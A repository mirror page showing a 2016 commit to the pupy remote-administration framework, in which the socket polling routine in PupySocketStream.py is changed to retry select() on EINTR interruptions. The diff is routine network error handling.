Rooba
/
pupy
mirror of https://github.com/n1nj4sec/pupy.git
1
1
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Handle select error (EINTR) properly

This commit is contained in:
Oleksii Shevchuk 2016-12-02 18:13:42 +02:00
parent 26af5ad760
commit 777d5a71d2
1 changed files with 9 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

13
pupy/network/lib/streams/PupySocketStream.py
View File

@ -79,10 +79,15 @@ class PupySocketStream(SocketStream):
def sock_poll(self, timeout): def sock_poll(self, timeout):
with self.downstream_lock: with self.downstream_lock:
try: to_close = None
to_read, _, to_close = select([self.sock], [], [self.sock], timeout) to_read = None
except socket.error:
to_close = True while not (to_close or to_read or self.closed):
try:
to_read, _, to_close = select([self.sock], [], [self.sock], timeout)
except select_error as r:
if not r.args[0] == errno.EINTR:
to_close = True
if to_close: if to_close:
raise EOFError('sock_poll error') raise EOFError('sock_poll error')